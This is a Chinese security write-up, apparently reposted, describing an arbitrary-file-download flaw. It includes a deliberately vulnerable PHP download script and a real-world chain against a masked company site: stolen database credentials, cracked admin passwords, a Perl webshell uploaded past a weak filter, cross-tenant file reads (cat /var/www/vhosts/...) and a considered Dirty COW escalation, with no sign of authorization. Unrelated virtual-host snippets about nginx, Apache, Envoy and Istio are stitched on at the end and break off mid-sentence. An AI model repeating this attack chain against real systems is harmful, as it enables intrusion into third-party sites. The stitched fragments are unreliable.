0x01 前言
从某群的故事改编而来,都是些老套路各位看官看得高兴就好;第一次在i春秋发帖有点紧张,如果有什么不周到的地方请去打死阿甫哥哥。你没听错,阿甫哥哥推荐。
0x02 什么是任意文件下载
说到文件下载各位童鞋都不陌生(老司机请跳过),我们要下载网站上某个文件(.zip、.doc、.pdf)直接请求这个文件即可格式一般为:域名+相对路径+文件名,如http://www.test.com/downlad/test.zip。而在网站上下载文件一般分为两种,一种就是刚才所说的直接请求某个文件,还有一种就是网站运营者提供了一个下载脚我们只需要请求:http://www.test.com/download.php?filename=test.zip(文件名)这样的url也可以下载文件。
众所周知,我们请求一个网站上的脚本文件(这里以php为例)是不会被下载的,如:http://www.test.com/test.php。那任意文件下载是怎么造成的呢?这里就是上面说到的第二种情况了,网站运营者提供了http://www.test.com/download.php?filename=test.zip这样一个连接本意是想访问者下载test.zip文件,但是没有做好安全措施导致任意文件下载。 举个栗子:
测试环境(phpstudy):windows7+php-5.5.38+apache
一个任意文件下载脚本test.php,代码如下:
<?phpif(empty($_GET['filename'])) { echo 'i春秋任意文件下载测试~'."<br>请输入需要下载的文件名"; } else { $filename = $_GET['filename']; $fileinfo = pathinfo($filename); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo[' name']); header('Content-Length: '.filesize($filename)); readfile($filename); exit(); } ?>
直接访问该文件,文件并没有被下载而是解析了其中的代码
在网站根目录下新建一个文件夹inc并新建一个名为ichunqiu.php的文件
现在来尝试下载该文件,访问:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下载该文件
0x03 某集团任意文件下载
之前挖某集团的漏洞时发现一个任意文件下载,两个思路:①下载源码审计-发现漏洞-利用;②下载数据库文件-如果支持外联-登录后台-尝试getshell,这里我选择了第二种。
首先下载了index.php文件,代码如下:
<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); @header("Content-type: text/html; charset=utf-8"); InitGP(array("action","do","gid","id")); $smarty->assign("pagetag","about"); $smarty->assign("page ","index"); $lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn'; $sql="select * from $table_article where channel='1' and cat_id in(38,39) order by show_style desc,art_addtime desc limit 6 "; if($array=$DB->GetAll($sql)){ //print_r($row); $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_ =""; $seo_keywords =""; $seo_de ion =""; seo_print();//print_r($_COOKIE); $smarty->assign("action",$action); $tpl="cn/index.html"; $smarty->display($tpl);//print_r($GLOBALS); ?>
第3行包含了/include/global.php文件,继续下载global.php文件在第31-32行代码发现包含了数据库连接文件,如下:
<?php.../* 加载基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>
在config.php中找到数据库连接信息:
<?php// data type$db_type = "mysqli"; // data host$db_host = "xx.xx.xx.com"; // data name$db_name = "dxxxm"; // data username$db_user = "dxxxm"; // data password$db_pass = 'cxxxp1xxx6'; $dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>
站库分离,百度site:xx.com“厦xxx有限公司”
再访问下http://www.xxx.com/这个域名,通过扫描微信后基本确认“xx集团”主站的数据库是放在“xxx有限公司”的服务器上
继续,用navacat连接找到后台用户帐号密码:
用户名 密文 解密明文
axxxn 5xxx0
gxxxn 2xxxc 1xxxv
0x04 虚拟主机getshell
接着用gxxxn/1xxxv成功登录某集团官网后台:http://www.xxx.com/manage.php
在已发布文章里找了一处可以上传图片的,简单测试了下phtml、php、php%20、php%00之类的后缀均不能绕过,只好只好下载相关文件看代码。
<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype) { global $config; if($_FILES[$uploadname]["name"]) { $dir_file=$uploaddir; if(!file_exists($dir_file)){ mkdir($dir_file , 0777); chmod($dir_file,0777); } $filename=explode(".",$_FILES[$uploadname]['name']); do{ $filename[0] = date('YmdHis').$uploadtype; $uploadfile = $dir_file.implode(".",$filename); } while(file_exists($uploadfile)); if(strpos($uploadfile,"php")>0) { return 'no php'; } copy($_FILES[$uploadname]['tmp_name'], $uploadfile); } return str_replace($config['siteRoot'], "", $uploadfile); } ...?>
strpos($uploadfile,"php")只过滤了php文件,陷入困境又去官网翻了翻突然注意到一处404仔细一看” 2.0.9 Perl”还支持perl脚本?于是在后台找了一处上传图片的地方直接上传perl脚本,结果还真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又涨姿势了~
查看日志文件发现大量网站记录:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts
100+的网站,无意间getshell某公司的虚拟主机
任意读取一网站目录下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php
虽然当前权限不能修改和写入,但是可跨目录读文件而这些网站的数据库又支持外联,你懂的;
本想试试脏牛提权,但怕给打死了就草草提交了
0x05 总结
① 精简下整个过程:任意文件下载-连接数据获得帐号密码-后台上传;
② 代码这块有点php基础都能看懂,学个十天半个月就成;
③ 细心吧,看到错误信息才想到支持perl脚本,不过一般也只有linux才会有;
以上所述是小编给大家介绍的某集团任意文件下载到虚拟主机getshell的方法,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对小牛知识库网站的支持!
两个虚拟主机(纯静态-html 支持) - Two Virtual Hosts, Serving Static Files http { : server { : listen 80; : server_name www.domain1.com; : access_log logs/domain1.access.log main; : location / {
术语"虚拟主机"是指在一个机器上运行多个网站(比如:www.company1.com和www.company2.com)。如果每个网站拥有不同的IP地址,则虚拟主机可以是"基于IP"的;如果只有一个IP地址,也可以是"基于主机名"的,其实现对最终用户是透明的。 Apache是率先支持基于IP的虚拟主机的服务器之一。1.1及其更新版本同时支持基于IP和基于主机名的虚拟主机,今后,不同的虚拟主机有时会
主要内容:Apache虚拟主机类型,3. 虚拟主机配置示例Apache Web服务器可以在SAME服务器上托管多个网站。每个网站不需要单独的服务器机器和apache软件。这可以使用虚拟主机或VHost的概念来实现。 要在Web服务器上托管的任何域(网站应用)都将在apache配置文件中具有单独的条目。 Apache虚拟主机类型 Apache虚拟主机类型有两种 - 基于名称的虚拟主机 基于地址或基于IP的虚拟主机。 1. 基于名称的虚拟主机 基于名称的虚拟
虚拟主机是路由配置中的顶层配置。每个虚拟主机都有一个逻辑名称以及一组域列表,会根据传入请求的主机头路由到对应的域。这允许为单个监听器配置多个顶级域的路径树。一旦基于域选择了虚拟主机,就会进行路由处理,以便查找并路由到相应上游集群或者是否执行重定向。 { "name": "...", "domains": [], "routes": [], "require_ssl": "...",
虚拟主机名使用server_name指令定义,用于决定由某台虚拟主机来处理请求。具体请参考《nginx如何处理一个请求》。虚拟主机名可以使用确切的名字,通配符,或者是正则表达式来定义: server { listen 80; server_name example.org www.example.org; ... } server { liste
注意:本文档已失效,请浏览 Istio 官方文档。本书中的 Service Mesh 章节已不再维护,请转到 istio-handbook 中浏览。 该示例跨越 Kubernetes 集群和一组虚拟机上部署 Bookinfo 服务,描述如何使用 Istio service mesh 将此基础架构以单一 mesh 的方式操控。 注意:本文档还在建设中,并且只在 Google Cloud Platfo